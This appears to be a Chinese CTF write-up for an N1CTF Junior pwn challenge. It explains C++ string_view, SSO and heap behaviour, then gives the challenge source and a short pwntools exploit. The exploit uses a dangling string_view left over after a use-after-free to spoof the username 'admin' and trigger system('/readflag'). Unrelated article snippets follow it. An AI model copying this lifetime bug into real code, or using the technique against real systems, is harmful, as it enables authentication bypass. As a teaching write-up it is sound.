2023 N1CTF Junior pwn 顶级签到

文章目录

  • 参考
  • make_pair
  • string_view和string
      • `std::string` 的内部实现和特点
      • `std::string_view` 的内部实现和特点
      • 例子说明
  • SSO(Short String Optimization)和堆分配
  • 源码
  • 思路
  • exp

参考

https://zqy.ink/2023/05/12/dingjiqiandao/

make_pair

该函数的作用是解析用户输入的登录信息。这里使用的make_pair是C++标准库中的一个函数,用于创建一个std::pair对象。std::pair是一个模板类,可以用来同时存储两个相关的值,通常这两个值可以是不同类型。

具体到这行代码中:

return make_pair(tok_ring[0], tok_ring[1]);
  • tok_ring是一个由splitToken函数返回的std::vector<std::string_view>,其中存储了通过特定分隔符(在这个案例中是冒号:)分隔的字符串片段。tok_ring[0]代表第一个片段(通常是用户名),tok_ring[1]代表第二个片段(通常是密码)。

  • make_pair函数接收这两个字符串片段作为参数,创建一个新的std::pair对象,其中第一个元素是tok_ring[0](用户名),第二个元素是tok_ring[1](密码)。

return make_pair(tok_ring[0], tok_ring[1]);这一行的作用是将解析出来的用户名和密码打包成一个std::pair对象并作为parseUser函数的返回值。

string_view和string

std::string 的内部实现和特点

std::string是一个封装了动态数组的类,用于存储和操作字符串。它的内部结构通常包含以下组件:

  1. 字符指针:一个指向动态分配的字符数组的指针,存储字符串的实际内容。
  2. 长度:一个成员变量,记录当前字符串的实际长度(字符数量,不含末尾的空字符)。
  3. 容量:通常还有一个成员变量记录当前分配的总内存大小,以备字符串增长时使用,避免频繁的内存重新分配。
  4. 管理机制std::string负责动态内存的分配和释放,包括自动增长策略(当字符串增加时自动扩展内存容量)和深拷贝(复制或赋值时复制内容)。

std::string_view 的内部实现和特点

相比之下,std::string_view是一个轻量级的字符串视图类,它不拥有字符串的内存,而是一个对现有字符串的引用。其内部结构相对简单:

  1. 字符指针:一个指向字符串数据的const char*const CharT*指针,指向外部存储的字符串起始位置。
  2. 长度:一个成员变量,记录string_view所引用的字符串长度。

string_view的设计理念是零成本的字符串引用,它不涉及内存管理,不对字符串进行拷贝,仅提供对已存在字符串的视图。它能够提升效率,特别是在处理字符串操作频繁或需要避免不必要的字符串复制时。

例子说明

假设我们有一个函数需要统计字符串中某个字符出现的次数:

  • 使用std::string:
    cpp std::string str = "Hello, World!"; std::size_t count = std::count(str.begin(), str.end(), 'o');
    这里,即使传入的是一个临时的字符串字面量,str也会在栈上创建一个副本。

  • 使用std::string_view:
    cpp std::string_view view = "Hello, View!"; std::size_t count = std::count(view.begin(), view.end(), 'e');
    string_view`直接引用了原字符串数据,没有额外的内存分配或复制操作,效率更高。

总结,std::string提供了完全的字符串管理,包括内存分配和所有权,适合需要修改字符串或独立存储字符串数据的场景。而std::string_view作为一个高效的只读视图,适用于不需要修改字符串且希望避免拷贝开销的场合。

SSO(Short String Optimization)和堆分配

以下是一个基础的、概念性的string内部结构示意图:

template<typename CharT, typename Traits, typename Allocator>
class basic_string {
private:union {struct {// 指向堆上分配的字符串数据的指针(如果未使用SSO)CharT* ptr;// 字符串长度(不包括终止的空字符)size_t length;// 总容量(包括已使用的和未使用的,仅当在堆上分配时有意义)size_t capacity;};// 内部缓冲区,用于SSO(假设大小为N,N通常由实现决定,例如15或22)CharT small_buffer[N];};// 一个或几个比特位用于标记是否使用SSObool is_short_string : 1;// 其他成员和方法...
};

basic_string类通过一个联合体(union)来实现SSO。联合体允许同一块内存区域以不同的数据类型被解释。当字符串较短,满足SSO条件时,字符串数据直接存储在small_buffer中,此时ptrlength、和capacity字段不被使用。is_short_string标志位用来指示当前std::string对象是否使用了SSO。如果字符串超过了SSO的长度限制,ptr将指向堆上分配的字符串数据,而lengthcapacity则记录字符串的实际长度和分配的总容量。

源码

#include <iostream>
#include <string>
#include <vector>
#include <exception>
#include <string_view>
#include <unordered_map>
#include <functional>
using namespace std;string getInput()
{string res;getline(cin, res);//输入一行if (res.size() > 64)//判断sizethrow std::runtime_error("Invalid input");while (!res.empty() && res.back() == '\n')res.pop_back();//不断判断字符最后一个字符是否是\n并且判断是否为空,如果不空并且最后一个字符为\n就会pop出去return res;
}
bool allow_admin = false;
auto splitToken(string_view str, string_view delim)
{if (!allow_admin && str.find("admin") != str.npos)//find、rfind等函数,如果没有找到目标子串,这些函数就会返回npos,通知调用者没有找到匹配。throw std::invalid_argument("Access denied");vector<string_view> res;size_t prev = 0, pos = 0;do{pos = str.find(delim, prev);if (pos == std::string::npos)//没有找到分隔符{pos = str.length();}res.push_back(str.substr(prev, pos - prev));//截断从开始位置到分隔符的位置prev = pos + delim.length();//更新起始位置} while (pos < str.length() && prev < str.length());return res;
}
auto parseUser()
{auto tok_ring = splitToken(getInput(), ":");//以:分隔if (tok_ring.size() != 2)throw std::invalid_argument("Bad login token");if (tok_ring[0].size() < 4 || tok_ring[0].size() > 16)//login name的长度限制throw std::invalid_argument("Bad login name");if (tok_ring[1].size() > 32) //login password长度限制throw std::invalid_argument("Bad login password");return make_pair(tok_ring[0], tok_ring[1]);
}
const unordered_map<string_view, function<void(string_vie)w> > handle_admin = {{"admin", [](auto){system("/readflag");}},{"?", [](auto){cout << "Enjoy :)" << endl;cout << "https://www.bilibili.com/video/BV1Nx411S7VG" << endl;}}};
constexpr auto handle_guest = [](auto)
{cout << "Hello guest!" << endl;
};
int main()
{auto [username, password] = parseUser();cout << "Enter 'login' to continue, or enter 'quit' to cancel." << endl;auto choice = getInput();if (choice == "quit"){cout << "bye" << endl;return 0;}if (auto it = handle_admin.find(username); it != handle_admin.end())//根据一开始的parseUser中得到username来寻找处理函数//由于parseUser不允许admain,所以要想办法绕过{it->second(password);//寻找键,如果不是最后一个键即?就调用寻找到的键对应的函数}else{handle_guest(password);}
}

思路

  1. parseUser中使用string_view来接收getInput得到的string对象,如果string对象创建时候字符足够长,会使用堆分配来存储字符串,当parseUser结束时,string对象会调用析构函数,free掉堆,但string_view依然存储着对应在堆上的字符串指针
  2. parseUser最后得到的事两个string_view对象,并且他们的指针都是已经free掉的堆上的chunk指针
  3. 此时接下来又会getInput,此时输入内容过长也会导致在堆上分配,如果合适,那么可以和之前析构函数free掉的堆重合,进而得到修改之前堆上的内容,而string_view对象他们的指针正好是已经free掉的堆上的chunk指针
  4. 由于之前分隔parseUser,导致两个string_view对象他们的指针的位置能够指向在堆上对应的内容(username: password),所以如果此时新输入的长度和之前一样,格式和之前一样,就能保证输入的内容的username部分被识别admain,进而绕过上面的对admain的检查

exp

from pwn import *
p=process('./pwn')
p.sendline(b'aaaaa:'+b'a'*32)
p.sendlineafter(b'cancel',b'admin'+b'a'*33)
# aaaaa和admin都是五个字节,使得string_view对象保存的字符串从aaaaa识别为admin
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/20340.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

力扣--最大子数组和

给你一个整数数组 nums &#xff0c;请你找出一个具有最大和的连续子数组&#xff08;子数组最少包含一个元素&#xff09;&#xff0c;返回其最大和。 子数组 是数组中的一个连续部分。 示例 1&#xff1a; 输入&#xff1a;nums [-2,1,-3,4,-1,2,1,-5,4] 输出&#xff1a;…

头歌处理机调度与死锁--银行家算法第1关:安全性检查

测试说明 平台会对你编写的代码进行测试,比对你输出的数值与实际正确数值,只有所有数据全部计算正确才能通过测试: 输入格式说明: 第1行是系统的进程数N 第2行是系统的资源类别数M 第3行是系统的资源总数,一共有M个数值,每个数值是一类资源的总数。 第4行开始一共有N行,…

2024 年最新安装MAC-vue教学包括常见错误

花了一上午时间终于将 vue 的工程文件安装好了&#xff0c;本教材是傻瓜式操作&#xff0c;按着教程一步一步操作最后就可以看到页面了。 安装Node 1.在线地址&#xff1a; https://nodejs.org/en 2、点击 Download Node.js下载即可&#xff0c;下载完成后&#xff0c;傻瓜式的…

primeflex Display盒模型显示相关样式实战案例

01 Display盒子模式相关样式 基础样式 ClassPropertieshiddendisplay: none;blockdisplay: block;inlinedisplay: inline;inline-blockdisplay: inline-block;flexdisplay: flex;inline-flexdisplay: inline-flex; 样式说明&#xff1a; hidden&#xff1a;隐藏&#xff0c…

c# 学习教程

打印语句 折叠代码 变量 整形 浮点型 特殊类型

林业调查具体是做些什么?

林业调查是对森林资源进行系统的信息收集和处理的过程。 林业调查涵盖了对林木、林地以及林区内生长的动植物及其环境条件的全面评估&#xff0c;旨在及时掌握森林资源的数量、质量和生长消亡的动态规律。这种调查不仅关注森林本身&#xff0c;还包括与之相关的自然环境和经济…

游戏心理学Day01

心理学 心理学是一门研究心理过程和行为及其如何受有机体的生理&#xff0c;心理状态和外部影响的科学 心理学不是常识的代名词&#xff0c;心理学分为基础&#xff0c;心理学和应用心理学基础&#xff0c;心理学研究的目的在于描述&#xff0c;解释&#xff0c;预测和控制行…

网络协议学习笔记

HTTP协议 简单介绍 HTTP属于应用层 HTTP可以简单的理解成类似json一样的文本封装&#xff0c;但是这是超文本&#xff0c;所以可以封装的不止有文本&#xff0c;还有音视频、图片等 请求方法 HTTP报文格式 三大部分 起始行&#xff1a;描述请求或响应的基本信息头部字段…

企业级win10电脑下同时存在Python3.11.7Python3.6.6,其中Python3.6.6是后装的【过程与踩坑复盘】

背景&#xff1a; 需要迁移原始服务器的上的Python3.6.6Flask项目到一个新服务器上&#xff0c; 新服务器上本身存在一个Python3.11.7, 所以这涉及到了一个电脑需要装多个Python版本的问题 过程&#xff1a; 1-确定新电脑版本【比如是32还是64位】 前面开发人员存留了两个…

Python 点云生成高程模型图(DSM)

点云生成高程模型图 一、什么是DSM?二、python代码三、结果可视化一、什么是DSM? DSM(Digital Surface Model)是一种数字高程模型,通常用于描述地表地形的数字化表示。它是由一系列离散的高程数据点组成的三维地形模型,其中每个点都具有其相应的高程值。   DSM主要用于…

算法练习第26天|46.全排列、47全排列II

46.全排列 46. 全排列 - 力扣&#xff08;LeetCode&#xff09;https://leetcode.cn/problems/permutations/description/ 题目描述&#xff1a; 给定一个不含重复数字的数组 nums &#xff0c;返回其 所有可能的全排列 。你可以 按任意顺序 返回答案。 示例 1&#xff1a;…

HTML、ASP.NET、XML、Javascript、DIV+CSS、JQuery、AJax的起源与简介

目录 HTML简介: 起源&#xff1a; ASP.NET简介&#xff1a; 起源: XML简介: 起源: JavaScript简介&#xff1a; 起源: DIVCSS简介: 起源&#xff1a; JQuery简介: 起源: AJax简介&#xff1a; HTML简介: HTML(Hyper Text Markup Language&#xff0c;超文本标记语言…

STM32 | 超声波实战

​01、上节回顾 STM32 | HC-SR04 超声波测距模块 | DHT11数字温湿度传感器(第七天)STM32 | 数字温湿度传感器DHT11STM32 | HC-SR04 超声波测距模块STM32 | DHT11数字温湿度传感器实战02、超声波图示 03、超声波头文件 #ifndef __SR04_H#define __SR04_H​#include "stm…

在鸿蒙中身份校验的手势密码的实现

在harmony中它提供了默认的组件PatternLock()&#xff1b; 这个就能直接显示九宫格密码验证 并且他有两个主要的回调事件 .onDotConnect密码输入选中宫格圆点时触发该回调 .onPatternComplete&#xff1a;密码输入结束时触发该回调 //如代码实现 PatternLock().sideLength(32…

OceanBase 内存研究(OceanBase 3.2.4.5)

内存结构 从官网的结构图可以看出&#xff0c;一台observer可使用的总内存(memory_limit)包括 系统内存(system_memory) 和 租户内存(sys租户与普通租户) 系统内存 系统内存system_memory 属于 observer 的内部内存&#xff0c;允许其它租户共享使用该内存资源 (root10.0.0.…

vmware 正版免费下载

Broadcom 已经收购了 vmware 并且对普通用户提供免费服务. 那么我们怎么去获取这个玩意呢, 注册完之后打开就是这么个狗屎 , 根本不知道在哪里下载&#xff0c;注册的时候还不能用国内邮箱更是超级狗屎 转到 dashboard 搜索 workstation Pro你会搜索到这么一个奇怪的网址然后…

SSM与Mamba模型学习

transformer的缺陷 自注意力机制的计算范围只限于窗口内&#xff0c;不能直接处理窗口外的元素&#xff0c;不能照顾到整个序列。 由于计算复杂度随着窗口的长度呈几何平方式增长&#xff0c;所以不能一味地增加窗口长度来解决。 Transformer本质上是通过位置编码将序列数据空…

计算机网络工程师需要掌握的知识点

网络基础 网络协议OSI参考模型TCP/IP 体系结构广域网与接入网技术&#xff1a;HDLC、PPP。xDSL、HFCIEEE802标准、以太网技术。网桥、交换机、无线局域网&#xff08;WLAN&#xff09;、VLAN、TRUNK、GVRP、STP、综合布线系统IP地址、子网划分、CIDR、ARP、ICMP、IPV6、TCP、UD…

AI在线UI代码生成,不需要敲一行代码,聊聊天,上传图片,就能生成前端页面的开发神器

ioDraw的在线UI代码生成器是一款开发神器&#xff0c;它可以让您在无需编写一行代码的情况下创建前端页面。 主要优势&#xff1a; 1、极简操作&#xff1a;只需聊天或上传图片&#xff0c;即可生成响应式的Tailwind CSS代码。 2、节省时间&#xff1a;自动生成代码可以节省大…

微信小程序-页面配置

一、页面配置文件的作用 小程序中&#xff0c;每个页面都有自己的.json配置文件&#xff0c;用来对当前页面的窗口外观、页面效果等进行配置 二、页面配置和全局配置的关系 小程序中&#xff0c;app.json中的window节点&#xff0c;可以全局配置小程序中每个页面的窗口表现 …